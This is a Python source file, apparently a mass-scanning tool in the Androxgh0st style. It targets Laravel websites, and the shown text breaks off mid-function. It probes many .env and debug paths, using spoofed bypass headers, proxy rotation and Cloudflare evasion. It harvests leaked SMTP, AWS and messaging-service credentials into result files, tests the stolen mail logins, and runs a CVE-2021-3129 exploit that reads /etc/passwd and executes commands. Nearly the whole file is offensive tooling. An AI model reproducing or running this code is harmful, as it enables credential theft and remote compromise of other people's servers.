try:
onesignal_token = reg('\nONESIGNAL_REST_API_KEY=(.*?)\n', text)[0]
except IndexError: pass
try:
onesignal_auth = reg('\nONESIGNAL_USER_AUTH_KEY=(.*?)\n', text)[0]
except IndexError: pass
elif '<td>ONESIGNAL_APP_ID</td>' in text:
method = 'debug'
try:
onesignal_id = reg(r'<td>ONESIGNAL_APP_ID</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
onesignal_token = reg(r'<td>ONESIGNAL_REST_API_KEY</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
onesignal_auth = reg(r'<td>ONESIGNAL_USER_AUTH_KEY</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
if onesignal_id or onesignal_token or onesignal_auth:
build = f'URL: {url}\nMETHOD: {method}\nONESIGNAL_APP_ID: {onesignal_id}\nONESIGNAL_REST_API_KEY: {onesignal_token}\nONESIGNAL_USER_AUTH_KEY: {onesignal_auth}'
remover = build.replace('\r', '')
write_to_file_safe('Results/ONESIGNAL.txt', remover+'\n\n')
printf(f"{Fore.GREEN}[+] OneSignal: Credentials found for {url}{Style.RESET_ALL}")
return True
else:
return False
# TOKBOX (DEV, PROD, OLD)
elif "TOKBOX_KEY" in text: # Catch all Tokbox keys
tokbox_key = ''
tokbox_secret = ''
method = ''
key_type = "TOKBOX" # Default
if "TOKBOX_KEY_DEV=" in text:
method = '/.env'
key_type = "TOKBOX_DEV"
try:
tokbox_key = reg('\nTOKBOX_KEY_DEV=(.*?)\n', text)[0]
except IndexError: pass
try:
tokbox_secret = reg('\nTOKBOX_SECRET_DEV=(.*?)\n', text)[0]
except IndexError: pass
elif '<td>TOKBOX_KEY_DEV</td>' in text:
method = 'debug'
key_type = "TOKBOX_DEV"
try:
tokbox_key = reg(r'<td>TOKBOX_KEY_DEV</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
tokbox_secret = reg(r'<td>TOKBOX_SECRET_DEV</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
elif "TOKBOX_KEY_OLD=" in text:
method = '/.env'
key_type = "TOKBOX_OLD"
try:
tokbox_key = reg('\nTOKBOX_KEY_OLD=(.*?)\n', text)[0]
except IndexError: pass
try:
tokbox_secret = reg('\nTOKBOX_SECRET_OLD=(.*?)\n', text)[0]
except IndexError: pass
elif '<td>TOKBOX_KEY_OLD</td>' in text:
method = 'debug'
key_type = "TOKBOX_OLD"
try:
tokbox_key = reg(r'<td>TOKBOX_KEY_OLD</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
tokbox_secret = reg(r'<td>TOKBOX_SECRET_OLD</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
elif "TOKBOX_KEY=" in text: # Generic TOKBOX_KEY
method = '/.env'
try:
tokbox_key = reg('\nTOKBOX_KEY=(.*?)\n', text)[0]
except IndexError: pass
try:
tokbox_secret = reg('\nTOKBOX_SECRET=(.*?)\n', text)[0]
except IndexError: pass
elif '<td>TOKBOX_KEY</td>' in text:
method = 'debug'
try:
tokbox_key = reg(r'<td>TOKBOX_KEY</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
tokbox_secret = reg(r'<td>TOKBOX_SECRET</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
if tokbox_key or tokbox_secret:
build = f'URL: {url}\nMETHOD: {method}\n{key_type}_KEY: {tokbox_key}\n{key_type}_SECRET: {tokbox_secret}'
remover = build.replace('\r', '')
write_to_file_safe('Results/TOKBOX.txt', remover+'\n\n')
printf(f"{Fore.GREEN}[+] Tokbox ({key_type.replace('TOKBOX_', '')}): Credentials found for {url}{Style.RESET_ALL}")
return True
else:
return False
# PLIVO
elif "PLIVO_AUTH_ID" in text:
plivo_auth = ''
plivo_secret = ''
method = ''
if "PLIVO_AUTH_ID=" in text:
method = '/.env'
try:
plivo_auth = reg('\nPLIVO_AUTH_ID=(.*?)\n', text)[0]
except IndexError: pass
try:
plivo_secret = reg('\nPLIVO_AUTH_TOKEN=(.*?)\n', text)[0]
except IndexError: pass
elif '<td>PLIVO_AUTH_ID</td>' in text:
method = 'debug'
try:
plivo_auth = reg(r'<td>PLIVO_AUTH_ID</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
plivo_secret = reg(r'<td>PLIVO_AUTH_TOKEN</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
if plivo_auth or plivo_secret:
build = f'URL: {url}\nMETHOD: {method}\nPLIVO_AUTH_ID: {plivo_auth}\nPLIVO_AUTH_TOKEN: {plivo_secret}'
remover = build.replace('\r', '')
write_to_file_safe('Results/PLIVO.txt', remover+'\n\n')
printf(f"{Fore.GREEN}[+] Plivo: Credentials found for {url}{Style.RESET_ALL}")
return True
else:
return False
else:
return False
except Exception as e:
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Error in get_nexmo/sms_api for {url}: {e}\n")
return False
def get_smtp(self, text, url):
try:
if "MAIL_HOST" in text:
mailhost = ''
mailport = ''
mailuser = ''
mailpass = ''
mailfrom = ''
fromname = ''
method = ''
if "MAIL_HOST=" in text:
method = '/.env'
try:
mailhost = reg("\nMAIL_HOST=(.*?)\n", text)[0]
except IndexError: pass
try:
mailport = reg("\nMAIL_PORT=(.*?)\n", text)[0]
except IndexError: pass
try:
mailuser = reg("\nMAIL_USERNAME=(.*?)\n", text)[0]
except IndexError: pass
try:
mailpass = reg("\nMAIL_PASSWORD=(.*?)\n", text)[0]
except IndexError: pass
try:
mailfrom = reg("MAIL_FROM_ADDRESS=(.*?)\n", text)[0]
except IndexError: pass
try:
fromname = reg("MAIL_FROM_NAME=(.*?)\n", text)[0]
except IndexError: pass
elif "<td>MAIL_HOST</td>" in text:
method = 'debug'
try:
mailhost = reg(r'<td>MAIL_HOST</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
mailport = reg(r'<td>MAIL_PORT</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
mailuser = reg(r'<td>MAIL_USERNAME</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
mailpass = reg(r'<td>MAIL_PASSWORD</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
mailfrom = reg(r'<td>MAIL_FROM_ADDRESS</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
try:
fromname = reg(r'<td>MAIL_FROM_NAME</td>\s+<td><pre.*>(.*?)</span>', text)[0]
except IndexError: pass
if mailuser == "null" or mailpass == "null" or mailuser == "" or mailpass == "":
printf(f"{Fore.YELLOW}[!] SMTP: Keywords found but no valid user/pass for {url}{Style.RESET_ALL}")
return False
else:
printf(f"{Fore.GREEN}[+] SMTP: Credentials found for {url} (Host: {mailhost}){Style.RESET_ALL}")
build = f'URL: {url}\nMETHOD: {method}\nMAILHOST: {mailhost}\nMAILPORT: {mailport}\nMAILUSER: {mailuser}\nMAILPASS: {mailpass}\nMAILFROM: {mailfrom}\nFROMNAME: {fromname}'
remover = build.replace('\r', '')
# mod aws
if '.amazonaws.com' in mailhost:
try:
getcountry = reg('email-smtp.(.*?).amazonaws.com', mailhost)[0]
except IndexError:
getcountry = 'aws'
aws_key_smtp = ''
aws_sec_smtp = ''
try:
# Try to extract AWS keys from the same text if available
if "AWS_ACCESS_KEY_ID=" in text:
aws_key_smtp = reg("\nAWS_ACCESS_KEY_ID=(.*?)\n", text)[0]
aws_sec_smtp = reg("\nAWS_SECRET_ACCESS_KEY=(.*?)\n", text)[0]
elif "<td>AWS_ACCESS_KEY_ID</td>" in text:
aws_key_smtp = reg(r"<td>AWS_ACCESS_KEY_ID<\/td>\s+<td><pre.*>(.*?)<\/span>", text)[0]
aws_sec_smtp = reg(r"<td>AWS_SECRET_ACCESS_KEY</td>\s+<td><pre.*>(.*?)</span>", text)[0]
elif "AWS_KEY=" in text:
aws_key_smtp = reg("\nAWS_KEY=(.*?)\n", text)[0]
aws_sec_smtp = reg("\nAWS_SECRET=(.*?)\n", text)[0]
elif "<td>AWS_KEY</td>" in text:
aws_key_smtp = reg(r"<td>AWS_KEY</td>\s+<td><pre.*>(.*?)</span>", text)[0]
aws_sec_smtp = reg(r"<td>AWS_SECRET</td>\s+<td><pre.*>(.*?)</span>", text)[0]
except IndexError:
pass
if aws_key_smtp and aws_sec_smtp:
printf(f"{Fore.CYAN}[*] SMTP AWS: Found AWS keys, attempting direct exploit for {url}{Style.RESET_ALL}")
try:
exploited = exploit_aws(aws_key_smtp.strip(), aws_sec_smtp.strip(), url)
if exploited:
printf(f"{Fore.GREEN}[+] SMTP AWS: AWS Exploit Success (from SMTP): {url} → {', '.join(exploited)}{Style.RESET_ALL}")
write_to_file_safe('Results/aws_exploited.txt', f"{url} → {', '.join(exploited)}\n")
except Exception as e:
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Error during AWS exploit from SMTP for {url}: {e}\n")
write_to_file_safe(f'Results/{getcountry}.txt', remover + '\n\n')
write_to_file_safe('Results/smtp_aws.txt', remover + '\n\n')
sendtestoff(url, mailhost, mailport, mailuser, mailpass, mailfrom) # Still attempt SMTP test
elif 'sendgrid' in mailhost:
sendtestoff(url, mailhost, mailport, mailuser, mailpass, mailfrom)
write_to_file_safe('Results/sendgrid.txt', remover+'\n\n')
elif 'office365' in mailhost:
sendtestoff(url, mailhost, mailport, mailuser, mailpass, mailfrom)
write_to_file_safe('Results/office.txt', remover+'\n\n')
elif '1and1' in mailhost or '1und1' in mailhost:
sendtestoff(url, mailhost, mailport, mailuser, mailpass, mailfrom)
write_to_file_safe('Results/1and1.txt', remover+'\n\n')
elif 'zoho' in mailhost:
sendtestoff(url, mailhost, mailport, mailuser, mailpass, mailfrom)
write_to_file_safe('Results/zoho.txt', remover+'\n\n')
elif 'mandrillapp' in mailhost:
sendtestoff(url, mailhost, mailport, mailuser, mailpass, mailfrom)
remover = build.replace('\r', '')
write_to_file_safe('Results/mandrill.txt', remover+'\n\n')
elif 'mailgun' in mailhost:
sendtestoff(url, mailhost, mailport, mailuser, mailpass, mailfrom)
write_to_file_safe('Results/mailgun.txt', remover+'\n\n')
else:
sendtestoff(url, mailhost, mailport, mailuser, mailpass, mailfrom)
write_to_file_safe('Results/SMTP_RANDOM.txt', remover+'\n\n')
return True
else:
return False
except Exception as e:
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Error in get_smtp for {url}: {e}\n")
return False
def printf(text):
''.join([str(item) for item in text])
print((text + '\n'), end=' ')
def parse_leak_content(text):
if "APP_KEY=" in text and "=" in text:
return "env"
elif "<td>APP_KEY</td>" in text or "<table" in text:
return "html"
elif '"exception":' in text and '"trace":' in text:
return "json"
else:
return "unknown"
# Global instance of ProxyManager
proxy_manager = None
# --- NEW FEATURE: Selenium Fallback Helper ---
def get_page_with_selenium(url, current_proxy_str=None):
printf(f"{Fore.MAGENTA}[*] Selenium Fallback: Attempting to fetch {url} with Selenium...{Style.RESET_ALL}")
options = Options()
options.add_argument("--headless") # Run in headless mode
options.add_argument("--no-sandbox")
options.add_argument("--disable-dev-shm-usage")
options.add_argument(f"user-agent={random.choice(USER_AGENTS)}")
if current_proxy_str:
options.add_argument(f'--proxy-server={current_proxy_str}')
# Use a lock to ensure only one Selenium instance is launched at a time
with selenium_lock:
driver = None
try:
# Automatically download and manage chromedriver
service = Service(ChromeDriverManager().install())
driver = webdriver.Chrome(service=service, options=options)
driver.set_page_load_timeout(30) # Set a timeout for page load
driver.get(url)
time.sleep(random.uniform(3, 7)) # Give some time for dynamic content to load
page_source = driver.page_source
printf(f"{Fore.GREEN}[+] Selenium Fallback: Successfully fetched content for {url}.{Style.RESET_ALL}")
return page_source
except Exception as e:
printf(f"{Fore.RED}[!] Selenium Fallback: Failed to fetch {url} ({e}){Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Selenium Fallback error for {url}: {e}\n")
return None
finally:
if driver:
driver.quit()
# --- END NEW FEATURE: Selenium Fallback Helper ---
# --- NEW FEATURE: CVE-2021-3129 Exploit Function ---
def exploit_cve_2021_3129(url, current_proxy, impersonate_string): # Pass impersonate_string
solutions = [
"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"Facade\\Ignition\\Solutions\\AddPackageSuggestionSolution",
"Facade\\Ignition\\Solutions\\SuggestCorrectControllerNameSolution",
"Facade\\Ignition\\Solutions\\SuggestCorrectBladeDirectiveSolution",
"Facade\\Ignition\\Solutions\\SuggestCorrectRouteNameSolution",
"Facade\\Ignition\\Solutions\\SuggestCorrectVariableNameSolution",
"Facade\\Ignition\\Solutions\\UpdateBladeDirectiveSolution",
"Facade\\Ignition\\Solutions\\UpdatePackageVersionSolution",
"Facade\\Ignition\\Solutions\\UpdateServiceProviderSolution",
"Facade\\Ignition\\Solutions\\UseCorrectParameterCaseSolution",
"Facade\\Ignition\\Solutions\\UseCorrectRouteParameterSolution",
"Facade\\Ignition\\Solutions\\UseCorrectViewNameSolution",
"Facade\\Ignition\\Solutions\\UseCorrectViewVariableSolution",
]
specific_payload = {
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "x",
"viewFile": "php://filter/convert.base64-encode/resource=/etc/passwd"
}
}
command_payload_template = {
"report": {
"solution": "SOLUTION_CLASS",
"parameters": {
"command": "CMD_TO_EXEC"
}
}
}
# Initialize curl_cffi session for exploit
exploit_session = cffi_requests.Session(
impersonate=impersonate_string,
verify=False,
timeout=(3, 5)
)
if current_proxy:
exploit_session.proxies = {'http': current_proxy['http'], 'https': current_proxy['https']}
exploit_session.headers.update({
'User-agent': random.choice(USER_AGENTS),
'Accept': 'application/json', # Important for Ignition endpoint
'Content-Type': 'application/json'
})
printf(f"{Fore.CYAN}[*] CVE-2021-3129: Trying specific payload (read /etc/passwd) on {url}{Style.RESET_ALL}")
try:
res = exploit_session.post(f"{url}/_ignition/execute-solution", json=specific_payload)
if res.status_code == 200 and "root:x:" in str(base64.b64decode(res.text)):
printf(f"{Fore.GREEN}[+] CVE-2021-3129: Exploitable (Read /etc/passwd) on {url}{Style.RESET_ALL}")
content = f"Vulnerable URL: {url}\nExploit Type: Read /etc/passwd\nPayload: {json.dumps(specific_payload)}\nResponse (base64 decoded): {base64.b64decode(res.text).decode(errors='ignore').strip()}\n\n"
write_to_file_safe('Results/cve_2021_3129_exploited.txt', content)
return True
elif res.status_code == 429 and current_proxy and proxy_manager: # OPTIMIZATION: Handle 429
proxy_manager.mark_proxy_failed(current_proxy['http'], "429_rate_limit")
printf(f"{Fore.YELLOW}[!] CVE-2021-3129: Rate limited (429) with specific payload on {url}. Proxy marked failed.{Style.RESET_ALL}")
return False # Don't try other payloads with this proxy immediately
except cffi_requests.exceptions.RequestError as e:
if current_proxy and proxy_manager: proxy_manager.mark_proxy_failed(current_proxy['http'], "connection_error")
printf(f"{Fore.YELLOW}[!] CVE-2021-3129: Request error with specific payload on {url} ({e}){Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Request error with specific CVE-2021-3129 payload on {url} with proxy {current_proxy}: {e}\n")
pass
except Exception as e:
printf(f"{Fore.YELLOW}[!] CVE-2021-3129: Error processing specific payload response on {url} ({e}){Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Error processing specific CVE-2021-3129 payload response on {url}: {e}\n")
pass
finally: # OPTIMIZATION: Add random delay
time.sleep(random.uniform(0.05, 0.2))
printf(f"{Fore.CYAN}[*] CVE-2021-3129: Trying general command execution payload (id) on {url}{Style.RESET_ALL}")
for solution in solutions:
cmd = "id"
payload_to_send = command_payload_template.copy()
payload_to_send['report']['solution'] = solution
payload_to_send['report']['parameters']['command'] = cmd
try:
res = exploit_session.post(f"{url}/_ignition/execute-solution", json=payload_to_send)
if res.status_code == 200 and "uid=" in res.text and "gid=" in res.text:
printf(f"{Fore.GREEN}[+] CVE-2021-3129: Exploitable (Command Execution) on {url} (Solution: {solution}){Style.RESET_ALL}")
content = f"Vulnerable URL: {url}\nExploit Type: Command Execution\nExploitable Solution: {solution}\nVerification Command Output (id): {res.text.strip()}\n\n"
write_to_file_safe('Results/cve_2021_3129_exploited.txt', content)
return True
elif res.status_code == 429 and current_proxy and proxy_manager: # OPTIMIZATION: Handle 429
proxy_manager.mark_proxy_failed(current_proxy['http'], "429_rate_limit")
printf(f"{Fore.YELLOW}[!] CVE-2021-3129: Rate limited (429) with general payload on {url}. Proxy marked failed.{Style.RESET_ALL}")
return False # Don't try other payloads with this proxy immediately
except cffi_requests.exceptions.RequestError as e:
if current_proxy and proxy_manager: proxy_manager.mark_proxy_failed(current_proxy['http'], "connection_error")
# printf(f"{Fore.YELLOW}[!] CVE-2021-3129: Request error with general payload on {url} (Solution: {solution}) ({e}){Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Request error with general CVE-2021-3129 payload on {url} (Solution: {solution}) with proxy {current_proxy}: {e}\n")
pass
except Exception as e:
printf(f"{Fore.YELLOW}[!] CVE-2021-3129: Error processing general payload response on {url} ({e}){Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Error processing general CVE-2021-3129 payload response on {url}: {e}\n")
pass
finally: # OPTIMIZATION: Add random delay
time.sleep(random.uniform(0.05, 0.2))
printf(f"{Fore.YELLOW}[!] CVE-2021-3129: No command execution found for {url}{Style.RESET_ALL}")
return False
def main(url):
global proxy_manager
resp = None
leak_path = None
is_cve_2021_3129_vulnerable = False
is_mix_manifest_found = False
current_proxy = None
current_proxy_str = None # For Selenium
if proxy_manager:
current_proxy = proxy_manager.get_next_proxy()
if current_proxy:
current_proxy_str = current_proxy['http'] # For Selenium
printf(f"{Fore.BLUE}[*] Using proxy: {current_proxy['http']} for {url}{Style.RESET_ALL}")
else:
printf(f"{Fore.YELLOW}[!] No available proxies. Continuing without proxy for {url}.{Style.RESET_ALL}")
# Define headers once
headers = {
'User-agent': random.choice(USER_AGENTS),
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.9',
'Accept-Encoding': 'gzip, deflate, br',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
'DNT': '1',
'Cache-Control': 'no-cache',
'Pragma': 'no-cache',
'Referer': 'https://google.com',
'X-Requested-With': 'XMLHttpRequest',
'Content-Type': 'application/x-www-form-urlencoded'
}
# --- New Helper Function for Requests with Cloudscraper & Selenium Fallback ---
def make_request_with_fallback(method, target_url, **kwargs):
nonlocal current_proxy, current_proxy_str # Allow modification of current_proxy if proxy fails
# Add parameter padding for GET requests
if method == 'GET':
if 'params' not in kwargs:
kwargs['params'] = {}
kwargs['params'][f'padding_{random.randint(1000,9999)}'] = random.randint(10000,99999)
# Add parameter padding for POST requests (if data is dict)
if method == 'POST':
if 'data' in kwargs and isinstance(kwargs['data'], dict):
kwargs['data'][f'padding_{random.randint(1000,9999)}'] = random.randint(10000,99999)
# Header Injection (WAF Bypass Headers)
waf_bypass_headers = {
"X-Original-URL" : "/.env",
"X-Rewrite-URL" : "/.env",
"X-Forwarded-For" : "127.0.0.1",
"X-Client-IP" : "127.0.0.1",
"X-Custom-IP-Authorization": "127.0.0.1",
"X-Forwarded-Host" : "127.0.0.1",
"X-Host" : "127.0.0.1",
"X-Forwarded-Server" : "127.0.0.1",
"X-Real-IP" : "127.0.0.1",
"Forwarded" : "for=127.0.0.1;host=127.0.0.1;proto=http",
"Cache-Control" : "no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0",
"Via" : "1.1 cache-poison",
"X-Cache" : "MISS",
"X-Forwarded-Proto" : "https",
"X-HTTP-Method-Override" : "GET",
"X-Attacker" : "itlucifero",
"X-From-IP" : "127.0.0.1",
"X-Wap-Profile" : "http://www.google.com/wap.wml"
}
# Combine base headers with WAF bypass headers
combined_headers = {**headers, **waf_bypass_headers}
# Choose a random JA3 impersonation string
impersonate_string = random.choice(JA3_IMPERSONATIONS)
# Attempt with curl_cffi first (with JA3 spoofing)
try:
printf(f"{Fore.BLUE}[*] Trying curl_cffi (JA3: {impersonate_string}) for {target_url}{Style.RESET_ALL}")
cffi_session = cffi_requests.Session(
impersonate=impersonate_string,
verify=False, # Disable SSL verification
timeout=(3, 5) # Connect timeout, Read timeout
)
cffi_session.headers.update(combined_headers)
if current_proxy:
cffi_session.proxies = {'http': current_proxy['http'], 'https': current_proxy['https']}
if method == 'GET':
res = cffi_session.get(target_url, **kwargs)
elif method == 'POST':
res = cffi_session.post(target_url, **kwargs)
else:
return None # Unsupported method
# Check for common Cloudflare/WAF blocking indicators
if res.status_code in [403, 503, 429] or "Just a moment..." in res.text or "DDoS protection by Cloudflare" in res.text:
printf(f"{Fore.YELLOW}[!] Detected potential WAF/Cloudflare block for {target_url} (Status: {res.status_code}). Attempting Cloudscraper fallback...{Style.RESET_ALL}")
# Fallback to cloudscraper
try:
scraper = cloudscraper.create_scraper(
sess=None,
proxies=current_proxy,
headers=combined_headers, # Use combined headers for cloudscraper
delay=10,
browser={'browser': 'chrome', 'platform': 'windows', 'mobile': False}
)
if method == 'GET':
res_cs = scraper.get(target_url, **kwargs)
elif method == 'POST':
res_cs = scraper.post(target_url, **kwargs)
if res_cs.status_code == 200:
printf(f"{Fore.GREEN}[+] Cloudscraper fallback successful for {target_url}.{Style.RESET_ALL}")
return res_cs
else:
printf(f"{Fore.RED}[!] Cloudscraper fallback failed for {target_url} (Status: {res_cs.status_code}). Attempting Selenium fallback...{Style.RESET_ALL}")
# Fallback to Selenium
selenium_content = get_page_with_selenium(target_url, current_proxy_str)
if selenium_content:
# Create a dummy response object to mimic requests.Response
class SeleniumResponse:
def __init__(self, content, url):
self.text = content
self.status_code = 200 # Assume 200 if content is retrieved
self.url = url
self.headers = {} # Dummy headers
return SeleniumResponse(selenium_content, target_url)
return None
except Exception as cs_e:
printf(f"{Fore.RED}[!] Cloudscraper fallback encountered an error for {target_url}: {cs_e}. Attempting Selenium fallback...{Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Cloudscraper fallback error for {target_url}: {cs_e}\n")
# Fallback to Selenium
selenium_content = get_page_with_selenium(target_url, current_proxy_str)
if selenium_content:
class SeleniumResponse:
def __init__(self, content, url):
self.text = content
self.status_code = 200
self.url = url
self.headers = {}
return SeleniumResponse(selenium_content, target_url)
return None
return res # Return original response if no block detected
except cffi_requests.exceptions.RequestError as e:
if current_proxy and proxy_manager: proxy_manager.mark_proxy_failed(current_proxy['http'], "connection_error_cffi")
printf(f"{Fore.YELLOW}[!] curl_cffi error for {target_url} ({e}). Attempting Cloudscraper fallback...{Style.RESET_ALL}")
# Fallback to cloudscraper on connection error
try:
scraper = cloudscraper.create_scraper(
sess=None,
proxies=current_proxy,
headers=combined_headers,
delay=10,
browser={'browser': 'chrome', 'platform': 'windows', 'mobile': False}
)
if method == 'GET':
res_cs = scraper.get(target_url, **kwargs)
elif method == 'POST':
res_cs = scraper.post(target_url, **kwargs)
if res_cs.status_code == 200:
printf(f"{Fore.GREEN}[+] Cloudscraper fallback successful for {target_url}.{Style.RESET_ALL}")
return res_cs
else:
printf(f"{Fore.RED}[!] Cloudscraper fallback failed for {target_url} (Status: {res_cs.status_code}). Attempting Selenium fallback...{Style.RESET_ALL}")
# Fallback to Selenium
selenium_content = get_page_with_selenium(target_url, current_proxy_str)
if selenium_content:
class SeleniumResponse:
def __init__(self, content, url):
self.text = content
self.status_code = 200
self.url = url
self.headers = {}
return SeleniumResponse(selenium_content, target_url)
return None
except Exception as cs_e:
printf(f"{Fore.RED}[!] Cloudscraper fallback encountered an error for {target_url}: {cs_e}. Attempting Selenium fallback...{Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Cloudscraper fallback error for {target_url}: {cs_e}\n")
# Fallback to Selenium
selenium_content = get_page_with_selenium(target_url, current_proxy_str)
if selenium_content:
class SeleniumResponse:
def __init__(self, content, url):
self.text = content
self.status_code = 200
self.url = url
self.headers = {}
return SeleniumResponse(selenium_content, target_url)
return None
except Exception as e:
printf(f"{Fore.RED}[!] Unexpected error during request for {target_url}: {e}{Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Unexpected error during request for {target_url}: {e}\n")
return None
# --- End New Helper Function ---
text = f"{Fore.WHITE}# {url}{Style.RESET_ALL}" # Inisialisasi awal untuk URL yang sedang diproses
printf(text) # Print URL yang sedang diproses
try:
# Daftar path yang akan discan (diperbarui sesuai diskusi)
paths = [
# Prioritas Tinggi: File .env dan variasinya
"/.env", "/env",
"/.env.bak", "/.env.dev", "/.env.example", "/.env.local", "/.env.test",
"/.env.save", "/.env.old", "/.env.txt", "/.env~", "/.env.backup", "/.env.production",
"/.env.prod", "/.env.development",
# Lokasi .env di dalam struktur proyek Laravel
"/vendor/.env", "/laravel/.env", "/laravel/config/.env", "/laravel/public/.env",
"/storage/logs/.env", "/storage/framework/cache/.env",
"/bootstrap/cache/.env", "/config/.env", "/config/.env.save", "/core/.env",
# Lokasi .env di subdirektori umum
"/api/.env", "/api/v1/.env", "/app/.env", "/data/.env", "/site/.env", "/env/.env",
"/public/.env", "/admin/.env", "/old/.env", "/dev/.env", "/test/.env",
# Lokasi .env di root web server
"/htdocs/.env", "/html/.env", "/web/.env", "/www/.env", "/logs/.env", "/.env/.env",
# Variasi versi .env
"/v1/.env", "/v2/.env", "/v3/.env", "/.v3/.env",
# Debug Pages dan CVE-2021-3129
"/_ignition/execute-solution", "/_ignition/health-check", "/_debugbar", "/debugbar", "/debug",
"/phpinfo.php", "/info.php",
"/telescope", "/telescope/telescope-api",
"/horizon", "/phpunit",
# Frontend Manifests
"/mix-manifest.json",
"/manifest.json",
"/firebase.json", "/.vercel/project.json",
# File konfigurasi umum lainnya
"/config.js", "/config.json", "/env.js", "/env.json",
"/env.bak", "/env.old.txt", "/env1.txt",
# Log Files
"/laravel.log", "/logs/laravel.log",
"/storage/logs/laravel.log",
# Bypass WAF/Encoding
"/%2eenv", "/..%2f.env", "/..;/env", "/..\\env", "/%2e%2e/.env"
]
leaks_found = []
printf(f"{Fore.CYAN}[*] Scanning: Attempting direct access to common Laravel paths for {url}{Style.RESET_ALL}")
for path in paths:
try:
# Gunakan fungsi helper make_request_with_fallback
res = make_request_with_fallback('GET', url + path, allow_redirects=False)
if res is None: # Jika make_request_with_fallback mengembalikan None (gagal)
continue # Lanjutkan ke path/proxy berikutnya
if res.status_code == 429 and current_proxy and proxy_manager: # OPTIMIZATION: Handle 429
proxy_manager.mark_proxy_failed(current_proxy['http'], "429_rate_limit")
printf(f"{Fore.YELLOW}[!] Rate limited (429) for {url}{path}. Proxy marked failed.{Style.RESET_ALL}")
continue # Lanjutkan ke path/proxy berikutnya
if any(x in res.text for x in ["APP_KEY=", "SES_KEY=", "<td>APP_KEY</td>"]):
leaks_found.append((path, res.text))
printf(f"{Fore.GREEN}[+] Found potential leak at {url}{path}{Style.RESET_ALL}")
if path == "/mix-manifest.json" and res.status_code == 200 and "mix" in res.text and ".js" in res.text:
is_mix_manifest_found = True
write_to_file_safe('Results/mix_manifest_found.txt', f"Found mix-manifest.json: {url}/mix-manifest.json\n")
printf(f"{Fore.GREEN}[+] Found mix-manifest.json at {url}/mix-manifest.json{Style.RESET_ALL}")
# OPTIMIZATION: Check for CVE-2021-3129 immediately if _ignition path is hit
if "_ignition" in path and res.status_code == 200:
printf(f"{Fore.CYAN}[*] Scanning: Potential CVE-2021-3129 target found at {url}{path}. Attempting exploit...{Style.RESET_ALL}")
# exploit_cve_2021_3129 sekarang menerima current_proxy dan impersonate_string
if exploit_cve_2021_3129(url, current_proxy, random.choice(JA3_IMPERSONATIONS)):
is_cve_2021_3129_vulnerable = True
except Exception as e: # Tangkap error tak terduga lainnya
printf(f"{Fore.RED}[!] Unexpected error (GET) for {url}{path}: {e}{Style.RESET_ALL}")
write_to_file_safe('Results/error_log.txt', f"[{datetime.datetime.now()}] Unexpected error (GET) for {url}{path}: {e}\n")
continue
finally:
time.sleep(random.uniform(0.05, 0.2)) # Delay acak kecil
# ✅ 2. Jika belum ada yang bocor, coba bypass WAF pakai header injection (sudah digabung di make_request_with_fallback)
# Logika ini sekarang ditangani secara otomatis oleh make_request_with_fallback dengan combined_headers
# Jadi tidak perlu loop terpisah di sini, cukup pastikan make_request_with_fallback dipanggil dengan benar.
# ✅ 3. Ambil hasil pertama dari leaks_found
if leaks_found:
path, resp = leaks_found[0]
leak_type = parse_leak_content(resp)
leak_path = f"{path} ({leak_type})"
text = f"{Fore.GREEN}# {url} | Leaked: {leak_path}{Style.RESET_ALL}"
# Re-check CVE-2021-3129 if a debug page was the source of the leak
if "_ignition" in path and not is_cve_2021_3129_vulnerable:
printf(f"{Fore.CYAN}[*] Scanning: Potential CVE-2021-3129 target found at {url}{path}. Re-attempting exploit...{Style.RESET_ALL}")
if exploit_cve_2021_3129(url, current_proxy, random.choice(JA3_IMPERSONATIONS)):
is_cve_2021_3129_vulnerable = True
# ✅ 4. Fallback POST jika masih belum ketemu
if not resp:
printf(f"{Fore.CYAN}[*] Scanning: No leak found via GET. Attempting POST fallback for {url}{Style.RESET_ALL}")
try:
# Gunakan fungsi helper
res = make_request_with_fallback('POST', url, data={"0x[]": "androxgh0st"}, allow_redirects=False)
if res is None: # Jika make_request_with_fallback mengembalikan None (gagal)
